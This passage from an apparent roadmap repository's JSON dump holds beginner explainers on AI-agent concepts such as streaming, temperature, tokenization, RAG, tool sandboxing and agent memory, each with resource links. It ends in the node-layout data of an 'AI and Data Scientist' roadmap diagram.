    "content": "# Streamed vs Unstreamed Responses\n\nStreamed and unstreamed responses describe how an AI agent sends its answer to the user. With a streamed response, the agent starts sending words as soon as it generates them. The user sees the text grow on the screen in real time. This feels fast and lets the user stop or change the request early. It is useful for long answers and chat-like apps.\n\nAn unstreamed response waits until the whole answer is ready, then sends it all at once. This makes the code on the client side simpler and is easier to cache or log, but the user must wait longer, especially for big outputs. Choosing between the two depends on the need for speed, the length of the answer, and how complex you want the client and server to be.\n\nVisit the following resources to learn more:\n\n- [@article@Streaming Responses in AI: How AI Outputs Are Generated in Real Time](https://dev.to/pranshu_kabra_fe98a73547a/streaming-responses-in-ai-how-ai-outputs-are-generated-in-real-time-18kb)\n- [@article@AI for Web Devs: Faster Responses with HTTP Streaming](https://austingil.com/ai-for-web-devs-streaming/)\n- [@article@Master the OpenAI API: Stream Responses](https://www.toolify.ai/gpts/master-the-openai-api-stream-responses-139447)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/structured-logging--tracing@zs6LM8WEnb0ERWpiaQCgc.md",
    "content": "# Structured Logging & Tracing\n\nStructured logging and tracing are ways to record what an AI agent does so you can find and fix problems fast. Instead of dumping plain text, the agent writes logs in a fixed key-value format, such as time, user\\_id, step, and message. Because every entry follows the same shape, search tools can filter, sort, and count events with ease. Tracing links those log lines into a chain that follows one request or task across many functions, threads, or microservices. By adding a unique trace ID to each step, you can see how long each part took and where errors happened. Together, structured logs and traces offer clear, machine-readable data that helps developers spot slow code paths, unusual behavior, and hidden bugs without endless manual scans.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Structured Logging: A Comprehensive Guide](https://www.graphapp.ai/blog/understanding-structured-logging-a-comprehensive-guide)\n- [@article@Structured Logging & Cloud Logging](https://cloud.google.com/logging/docs/structured-logging)\n- [@article@Best Practices for Logging in AI Applications](https://www.restack.io/p/best-ai-practices-software-compliance-answer-logging-best-practices-cat-ai)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/summarization--compression@jTDC19BTWCqxqMizrIJHr.md",
    "content": "# Summarization / Compression\n\nSummarization or compression lets an AI agent keep the gist of past chats without saving every line. After a talk, the agent runs a small model or rule set that pulls out key facts, goals, and feelings and writes them in a short note. This note goes into long-term memory, while the full chat can be dropped or stored elsewhere. Because the note is short, the agent spends fewer tokens when it loads memory into the next prompt, so costs stay low and speed stays high. Good summaries leave out side jokes and filler but keep names, dates, open tasks, and user preferences. The agent can update the note after each session, overwriting old points that are no longer true. This process lets the agent remember what matters even after hundreds of turns.\n\nVisit the following resources to learn more:\n\n- [@article@Evaluating LLMs for Text Summarization](https://insights.sei.cmu.edu/blog/evaluating-llms-for-text-summarization-introduction/)\n- [@article@The Ultimate Guide to AI Document Summarization](https://www.documentllm.com/blog/ai-document-summarization-guide)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/temperature@L1zL1GzqjSAjF06pIIXhy.md",
    "content": "# Temperature\n\nTemperature is a setting that changes how random or predictable an AI model’s text output is. The value usually goes from 0 to 1, sometimes higher. A low temperature, close to 0, makes the model pick the most likely next word almost every time, so the answer is steady and safe but can feel dull or repetitive. A high temperature, like 0.9 or 1.0, lets the model explore less-likely word choices, which can give fresh and creative replies, but it may also add mistakes or drift off topic. By adjusting temperature, you balance reliability and creativity to fit the goal of your task.\n\nVisit the following resources to learn more:\n\n- [@article@What Temperature Means in Natural Language Processing and AI](https://thenewstack.io/what-temperature-means-in-natural-language-processing-and-ai/)\n- [@article@LLM Temperature: How It Works and When You Should Use It](https://www.vellum.ai/llm-parameters/temperature)\n- [@article@What is LLM Temperature? - IBM](https://www.ibm.com/think/topics/llm-temperature)\n- [@article@How Temperature Settings Transform Your AI Agent's Responses](https://docsbot.ai/article/how-temperature-settings-transform-your-ai-agents-responses)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/token-based-pricing@1fiWPBV99E2YncqdCgUw2.md",
    "content": "# Token Based Pricing\n\nToken-based pricing is how many language-model services charge for use. A token is a small chunk of text, roughly four characters or part of a word. The service counts every token that goes into the model (your prompt) and every token that comes out (the reply). It then multiplies this total by a listed price per thousand tokens. Some plans set one price for input tokens and a higher or lower price for output tokens. Because the bill grows with each token, users often shorten prompts, trim extra words, or cap response length to spend less.\n\nVisit the following resources to learn more:\n\n- [@article@Explaining Tokens — the Language and Currency of AI](https://blogs.nvidia.com/blog/ai-tokens-explained/)\n- [@article@What Are AI Tokens?](https://methodshop.com/what-are-ai-tokens/)\n- [@article@Pricing - OpenAI](https://openai.com/api/pricing/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/tokenization@GAjuWyJl9CI1nqXBp6XCf.md",
    "content": "# Tokenization\n\nTokenization is the step where raw text is broken into small pieces called tokens, and each token is given a unique number. A token can be a whole word, part of a word, a punctuation mark, or even a space. The list of all possible tokens is the model’s vocabulary. Once text is turned into these numbered tokens, the model can look up an embedding for each number and start its math. By working with tokens instead of full sentences, the model keeps the input size steady and can handle new or rare words by slicing them into familiar sub-pieces. After the model finishes its work, the numbered tokens are turned back into text through the same vocabulary map, letting the user read the result.\n\nVisit the following resources to learn more:\n\n- [@article@Explaining Tokens — the Language and Currency of AI](https://blogs.nvidia.com/blog/ai-tokens-explained/)\n- [@article@What is Tokenization? Types, Use Cases, Implementation](https://www.datacamp.com/blog/what-is-tokenization)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/tool-definition@qakbxB8xe7Y8gejC5cZnK.md",
    "content": "# Tool Definition\n\nA tool is any skill or function that an AI agent can call to get a job done. It can be as simple as a calculator for math or as complex as an API that fetches live weather data. Each tool has a name, a short description of what it does, and a clear list of the inputs it needs and the outputs it returns. The agent’s planner reads this definition to decide when to use the tool. Good tool definitions are precise and leave no room for doubt, so the agent will not guess or misuse them. They also set limits, like how many times a tool can be called or how much data can be pulled, which helps control cost and errors. Think of a tool definition as a recipe card the agent follows every time it needs that skill.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding the Agent Function in AI: Key Roles and Responsibilities](https://pingax.com/ai/agent/function/understanding-the-agent-function-in-ai-key-roles-and-responsibilities/)\n- [@article@What is an AI Tool?](https://www.synthesia.io/glossary/ai-tool)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/tool-sandboxing--permissioning@UVzLGXG6K7HQVHmw8ZAv2.md",
    "content": "# Tool sandboxing / Permissioning\n\nTool sandboxing keeps the AI agent inside a safe zone where it can only run approved actions and cannot touch the wider system. Permissioning sets clear rules that say which files, networks, or commands the agent may use. Together they stop errors, leaks, or abuse by limiting what the agent can reach and do. Developers grant the smallest set of rights, watch activity, and block anything outside the plan. If the agent needs new access, it must ask and get a fresh permit. This simple fence protects user data, reduces harm, and builds trust in the agent’s work.\n\nVisit the following resources to learn more:\n\n- [@article@AI Sandbox | Harvard University Information Technology](https://www.huit.harvard.edu/ai-sandbox)\n- [@article@How to Set Up AI Sandboxes to Maximize Adoption](https://medium.com/@emilholmegaard/how-to-set-up-ai-sandboxes-to-maximize-adoption-without-compromising-ethics-and-values-637c70626130)\n- [@article@Sandboxes for AI - The Datasphere Initiative](https://www.thedatasphere.org/datasphere-publish/sandboxes-for-ai/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/top-p@icbp1NjurQfdM0dHnz6v2.md",
    "content": "# Top-p\n\nTop-p, also called nucleus sampling, is a setting that guides how an LLM picks its next word. The model lists many possible words and sorts them by probability. It then finds the smallest group of top words whose combined chance adds up to the chosen p value, such as 0.9. Only words inside this group stay in the running; the rest are dropped. The model picks one word from the kept group at random, weighted by their original chances. A lower p keeps only the very likely words, so output is safer and more focused. A higher p lets in less likely words, adding surprise and creativity but also more risk of error.\n\nVisit the following resources to learn more:\n\n- [@article@Nucleus Sampling](https://nn.labml.ai/sampling/nucleus.html)\n- [@article@Sampling Techniques in Large Language Models (LLMs)](https://medium.com/@shashankag14/understanding-sampling-techniques-in-large-language-models-llms-dfc28b93f518)\n- [@article@Temperature, top_p and top_k for chatbot responses](https://community.openai.com/t/temperature-top-p-and-top-k-for-chatbot-responses/295542)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/transformer-models-and-llms@ZF5_5Y5zqa75Ov22JACX6.md",
    "content": "# Transformer Models and LLMs\n\nTransformer models are a type of neural network that read input data—like words in a sentence—all at once instead of one piece at a time. They use “attention” to find which parts of the input matter most for each other part. This lets them learn patterns in language very well. When a transformer has been trained on a very large set of text, we call it a Large Language Model (LLM). An LLM can answer questions, write text, translate languages, and code because it has seen many examples during training. AI agents use these models as their “brains.” They feed tasks or prompts to the LLM, get back text or plans, and then act on those results. This structure helps agents understand goals, break them into steps, and adjust based on feedback, making them useful for chatbots, research helpers, and automation tools.\n\nVisit the following resources to learn more:\n\n- [@article@Exploring Open Source AI Models: LLMs and Transformer Architectures](https://llmmodels.org/blog/exploring-open-source-ai-models-llms-and-transformer-architectures/)\n- [@article@How Transformer LLMs Work](https://www.deeplearning.ai/short-courses/how-transformer-llms-work/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/tree-of-thought@Nmy1PoB32DcWZnPM8l8jT.md",
    "content": "# Tree-of-Thought\n\nTree-of-Thought is a way to organize an AI agent’s reasoning as a branching tree. At the root, the agent states the main problem. Each branch is a small idea, step, or guess that could lead to a solution. The agent expands the most promising branches, checks if they make sense, and prunes paths that look wrong or unhelpful. This setup helps the agent explore many possible answers while staying focused on the best ones. Because the agent can compare different branches side by side, it is less likely to get stuck on a bad line of thought. The result is more reliable and creative problem solving.\n\nVisit the following resources to learn more:\n\n- [@article@Tree of Thoughts (ToT) | Prompt Engineering Guide](https://www.promptingguide.ai/techniques/tot)\n- [@article@What is tree-of-thoughts? - IBM](https://www.ibm.com/think/topics/tree-of-thoughts)\n- [@article@The Revolutionary Approach of Tree-of-Thought Prompting in AI](https://medium.com/@WeavePlatform/the-revolutionary-approach-of-tree-of-thought-prompting-in-ai-eb7c0872247b)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/tree-of-thought@hj1adjkG9nalXKZ-Youn0.md",
    "content": "# Tree-of-Thought\n\nTree-of-Thought is a way to let an AI agent plan its steps like branches on a tree. The agent writes down one “thought” at a time, then splits into several follow-up thoughts, each leading to new branches. It can look ahead, compare branches, and drop weak paths while keeping strong ones. This helps the agent explore many ideas without getting stuck on the first answer. The method is useful for tasks that need careful reasoning, such as solving puzzles, coding, or writing. Because the agent can backtrack and revise earlier thoughts, it often finds better solutions than a straight, single-line chain of steps.\n\nVisit the following resources to learn more:\n\n- [@article@Tree of Thoughts (ToT) | Prompt Engineering Guide](https://www.promptingguide.ai/techniques/tot)\n- [@article@What is tree-of-thoughts? - IBM](https://www.ibm.com/think/topics/tree-of-thoughts)\n- [@article@The Revolutionary Approach of Tree-of-Thought Prompting in AI](https://medium.com/@WeavePlatform/the-revolutionary-approach-of-tree-of-thought-prompting-in-ai-eb7c0872247b)\n"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/understand-the-basics-of-rag@qwVQOwBTLA2yUgRISzC8k.md",
    "content": "# Understand the Basics of RAG\n\nRAG, short for Retrieval-Augmented Generation, is a way to make language models give better answers by letting them look things up before they reply. First, the system turns the user’s question into a search query and scans a knowledge source, such as a set of documents or a database. It then pulls back the most relevant passages, called “retrievals.” Next, the language model reads those passages and uses them, plus its own trained knowledge, to write the final answer. This mix of search and generation helps the model stay up to date, reduce guesswork, and cite real facts. Because it adds outside information on demand, RAG often needs less fine-tuning and can handle topics the base model never saw during training.\n\nVisit the following resources to learn more:\n\n- [@article@What Is RAG in AI and How to Use It?](https://www.v7labs.com/blog/what-is-rag)\n- [@article@An Introduction to RAG and Simple & Complex RAG](https://medium.com/enterprise-rag/an-introduction-to-rag-and-simple-complex-rag-9c3aa9bd017b)\n- [@video@Learn RAG From Scratch](https://www.youtube.com/watch?v=sVcwVQRHIc8)\n- [@video@What is Retrieval-Augmented Generation (RAG)?](https://www.youtube.com/watch?v=T-D1OfcDW1M)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/unit-testing-for-individual-tools@qo_O4YAe4-MTP_ZJoXJHR.md",
    "content": "# Unit Testing for Individual Tools\n\nUnit testing checks that each tool an AI agent uses works as expected when it stands alone. You write small tests that feed the tool clear input and then compare its output to a known correct answer. If the tool is a function that parses dates, you test many date strings and see if the function gives the right results. Good tests cover normal cases, edge cases, and error cases. Run the tests every time you change the code. When a test fails, fix the tool before moving on. This habit keeps bugs from spreading into larger agent workflows and makes later debugging faster.\n\nVisit the following resources to learn more:\n\n- [@article@Unit Testing Agents](https://docs.patronus.ai/docs/agent_evals/unit_testing)\n- [@article@Best AI Tools for Unit Testing: A Look at Top 14 AI Tools](https://thetrendchaser.com/best-ai-tools-for-unit-testing/)\n- [@article@AI for Unit Testing: Revolutionizing Developer Productivity](https://www.diffblue.com/resources/ai-for-unit-testing-revolutionizing-developer-productivity/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/use-examples-in-your-prompt@yulzE4ZNLhXOgHhG7BtZQ.md",
    "content": "# Use Examples in your Prompt\n\nA clear way to guide an AI is to place one or two short samples inside your prompt. Show a small input and the exact output you expect. The AI studies these pairs and copies their pattern. Use plain words in the sample, keep the format steady, and label each part so the model knows which is which. If you need a list, show a list; if you need a table, include a small table. Good examples cut guesswork, reduce errors, and save you from writing long rules.\n\nVisit the following resources to learn more:\n\n- [@article@10 Real-World AI Agent Examples in 2025](https://www.chatbase.co/blog/ai-agent-examples)\n- [@article@GPT-4.1 Prompting Guide](https://cookbook.openai.com/examples/gpt4-1_prompting_guide)\n- [@article@AI Agent Examples & Use Cases: Real Applications in 2025](https://eastgate-software.com/ai-agent-examples-use-cases-real-applications-in-2025/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/use-relevant-technical-terms@sUwdtOX550tSdceaeFPmF.md",
    "content": "# Use relevant technical terms\n\nWhen a task involves a special field such as law, medicine, or computer science, include the correct domain words in your prompt so the AI knows exactly what you mean. Ask for “O(n log n) sorting algorithms” instead of just “fast sorts,” or “HTTP status code 404” instead of “page not found error.” The right term narrows the topic, removes guesswork, and points the model toward the knowledge base you need. It also keeps the answer at the right level, because the model sees you understand the field and will reply with matching depth. Check spelling and letter case; “SQL” and “sql” are seen the same, but “Sequel” is not. Do not overload the prompt with buzzwords—add only the words that truly matter. The goal is clear language plus the exact technical labels the subject uses.\n\nVisit the following resources to learn more:\n\n- [@article@AI Terms Glossary: AI Terms To Know In 2024](https://www.moveworks.com/us/en/resources/ai-terms-glossary)\n- [@article@15 Essential AI Agent Terms You Must Know](https://shivammore.medium.com/15-essential-ai-agent-terms-you-must-know-6bfc2f332f6d)\n- [@article@AI Agent Examples & Use Cases: Real Applications in 2025](https://eastgate-software.com/ai-agent-examples-use-cases-real-applications-in-2025/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/user-profile-storage@QJqXHV8VHPTnfYfmKPzW7.md",
    "content": "# User Profile Storage\n\nUser profile storage is the part of an AI agent’s memory that holds stable facts about each user, such as name, age group, language, past choices, and long-term goals. The agent saves this data in a file or small database so it can load it each time the same user returns. By keeping the profile separate from short-term conversation logs, the agent can remember preferences without mixing them with temporary chat history. The profile is updated only when the user states a new lasting preference or when old information changes, which helps prevent drift or bloat.\n\nVisit the following resources to learn more:\n\n- [@article@Storage Technology Explained: AI and Data Storage](https://www.computerweekly.com/feature/Storage-technology-explained-AI-and-the-data-storage-it-needs)\n- [@article@The Architect's Guide to Storage for AI - The New Stack](https://thenewstack.io/the-architects-guide-to-storage-for-ai/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/web-scraping--crawling@5oLc-235bvKhApxzYFkEc.md",
    "content": "# Web Scraping / Crawling\n\nWeb scraping and crawling let an AI agent collect data from many web pages without human help. The agent sends a request to a page, reads the HTML, and pulls out parts you ask for, such as prices, news headlines, or product details. It can then follow links on the page to reach more pages and repeat the same steps. This loop builds a large, up-to-date dataset in minutes or hours instead of days. Companies use it to track market prices, researchers use it to gather facts or trends, and developers use it to feed fresh data into other AI models. Good scraping code also respects site rules like robots.txt and avoids hitting servers too fast, so it works smoothly and fairly.\n\nVisit the following resources to learn more:\n\n- [@article@Crawl AI - Build Your AI With One Prompt](https://www.crawlai.org/)\n- [@article@AI-Powered Web Scraper with Crawl4AI and DeepSeek](https://brightdata.com/blog/web-data/crawl4ai-and-deepseek-web-scraping)\n- [@article@Best Web Scraping Tools for AI Applications](https://www.thetoolnerd.com/p/best-web-scraping-tools-for-ai-applications)\n- [@article@8 Best AI Web Scraping Tools I Tried - HubSpot Blog](https://blog.hubspot.com/website/ai-web-scraping)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/web-search@kBtqT8AduLoYDWopj-V9_.md",
    "content": "# Web Search\n\nWeb search lets an AI agent pull fresh facts, news, and examples from the internet while it is working. The agent turns a user request into search words, sends them to a search engine, and reads the list of results. It then follows the most promising links, grabs the page text, and picks out the parts that answer the task. This helps the agent handle topics that were not in its training data, update old knowledge, or double-check details. Web search covers almost any subject and is much faster than manual research, but the agent must watch for ads, bias, or wrong pages and cross-check sources to stay accurate.\n\nVisit the following resources to learn more:\n\n- [@article@8 Best AI Search Engines for 2025](https://usefulai.com/tools/ai-search-engines)\n- [@article@Web Search Agent - PraisonAI Documentation](https://docs.praison.ai/agents/websearch)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/what-are-ai-agents@aFZAm44nP5NefX_9TpT0A.md",
    "content": "# What are AI Agents?\n\nAn AI agent is a computer program or robot that can sense its surroundings, think about what it senses, and then act to reach a goal. It gathers data through cameras, microphones, or software inputs, decides what the data means using rules or learned patterns, and picks the best action to move closer to its goal. After acting, it checks the results and learns from them, so it can do better next time. Chatbots, self-driving cars, and game characters are all examples.\n\nVisit the following resources to learn more:\n\n- [@article@What are AI Agents? - Agents in Artificial Intelligence Explained](https://aws.amazon.com/what-is/ai-agents/)\n- [@article@AI Agents Explained in Simple Terms for Beginners](https://www.geeky-gadgets.com/ai-agents-explained-for-beginners/)\n- [@video@What are AI Agents?](https://www.youtube.com/watch?v=F8NKVhkZZWI)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/what-are-tools@2zsOUWJQ8e7wnoHmq1icG.md",
    "content": "# What are Tools?\n\nTools are extra skills or resources that an AI agent can call on to finish a job. A tool can be anything from a web search API to a calculator, a database, or a language-translation engine. The agent sends a request to the tool, gets the result, and then uses that result to move forward. Tools let a small core model handle tasks that would be hard or slow on its own. They also help keep answers current, accurate, and grounded in real data. Choosing the right tool and knowing when to use it are key parts of building a smart agent.\n\nVisit the following resources to learn more:\n\n- [@article@Compare 50+ AI Agent Tools in 2025 - AIMultiple](https://research.aimultiple.com/ai-agent-tools/)\n- [@article@AI Agents Explained in Simple Terms for Beginners](https://www.geeky-gadgets.com/ai-agents-explained-for-beginners/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/what-is-agent-memory@TBH_DZTAfR8Daoh-njNFC.md",
    "content": "# What is Agent Memory?\n\nAgent memory is the part of an AI agent that keeps track of what has already happened. It stores past user messages, facts the agent has learned, and its own previous steps. This helps the agent remember goals, user likes and dislikes, and important details across turns or sessions. Memory can be short-term, lasting only for one conversation, or long-term, lasting across many. With a good memory the agent avoids repeating questions, stays consistent, and plans better actions. Without it, the agent would forget everything each time and feel unfocused.\n\nVisit the following resources to learn more:\n\n- [@article@Agentic Memory for LLM Agents](https://arxiv.org/abs/2502.12110)\n- [@article@Memory Management in AI Agents](https://python.langchain.com/docs/how_to/chatbots_memory/)\n- [@article@Storing and Retrieving Knowledge for Agents](https://www.pinecone.io/learn/langchain-retrieval-augmentation/)\n- [@article@Short-Term vs Long-Term Memory in AI Agents](https://adasci.org/short-term-vs-long-term-memory-in-ai-agents/)\n- [@video@Building Brain-Like Memory for AI Agents](https://www.youtube.com/watch?v=VKPngyO0iKg)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/what-is-prompt-engineering@Y8EqzFx3qxtrSh7bWbbV8.md",
    "content": "# What is Prompt Engineering\n\nPrompt engineering is the skill of writing clear questions or instructions so that an AI system gives the answer you want. It means choosing the right words, adding enough detail, and giving examples when needed. A good prompt tells the AI what role to play, what style to use, and what facts to include or avoid. By testing and refining the prompt, you can improve the quality, accuracy, and usefulness of the AI’s response. In short, prompt engineering is guiding the AI with well-designed text so it can help you better.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Prompt Engineering Roadmap](https://roadmap.sh/prompt-engineering)\n- [@article@What is Prompt Engineering? - AI Prompt Engineering Explained - AWS](https://aws.amazon.com/what-is/prompt-engineering/)\n- [@article@What is Prompt Engineering? A Detailed Guide For 2025](https://www.datacamp.com/blog/what-is-prompt-engineering-the-future-of-ai-communication)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/ai-data-scientist.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"28Iu61OKR6_3BBmO8M5lg\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 481.39029212267985,\n        \"y\": 1925.5843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"q_oYxEPUvEylwjAyDA5FL\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 481.39029212267985,\n        \"y\": 1925.5843010493045\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 290,\n        \"height\": 20\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"0dVq5C16sFyWglWitQQdD\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 542.8902921226799,\n        \"y\": 1266.7340815556822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"ofcYD3hTVEMeRptkHsVer\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 542.8902921226799,\n        \"y\": 1266.7340815556822\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Vdw0GAnxhDCj_C3XDxNDF\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 192.89029212267985,\n        \"y\": 1266.7340815556822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"q_oYxEPUvEylwjAyDA5FL\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 78,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 192.89029212267985,\n        \"y\": 1266.7340815556822\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 78,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 78,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Z4MOOqNXpHkxWe0PJ7hjt\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -82.10970787732015,\n        \"y\": 132.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"3_CBtQLv0X6GzUEtq7jyp\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 344,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 344,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -82.10970787732015,\n        \"y\": 132.4007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 344,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"JHqi_gjATUrPtewn-cdGo\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -164.10970787732015,\n        \"y\": 46.40074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 109,\n      \"positionAbsolute\": {\n        \"x\": -164.10970787732015,\n        \"y\": 46.40074822234891\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 109\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 109\n      }\n    },\n    {\n      \"id\": \"I7PI9n8QfW9_tCWOdw7yY\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -144.10970787732015,\n        \"y\": 1174.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"deHK6yEdytCu2ACvVC0bs\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 338,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -144.10970787732015,\n        \"y\": 1174.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 338,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 338,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"3_CBtQLv0X6GzUEtq7jyp\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 434.89029212267985,\n        \"y\": 133.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 354,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 354,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 434.89029212267985,\n        \"y\": 133.4007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 354,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"aq0gNWINbAQFG28HLJgCF\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -82.10970787732015,\n        \"y\": 453.9007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"ofcYD3hTVEMeRptkHsVer\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 331,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -82.10970787732015,\n        \"y\": 453.9007482223489\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 331,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"c58fcsthBlVfzfr-MHdpF\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -164.10970787732015,\n        \"y\": -107.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 86,\n      \"positionAbsolute\": {\n        \"x\": -164.10970787732015,\n        \"y\": -107.59925177765109\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 86\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 86\n      }\n    },\n    {\n      \"id\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -271.10970787732015,\n        \"y\": -21.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI and Data Scientist\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -271.10970787732015,\n        \"y\": -21.59925177765109\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"aStaDENn5PhEa-cFvNzXa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -196.10970787732015,\n        \"y\": 118.90074822234891\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mathematics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kBdt_t2SvVsY3blfubWIz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -196.10970787732015,\n        \"y\": 118.90074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n   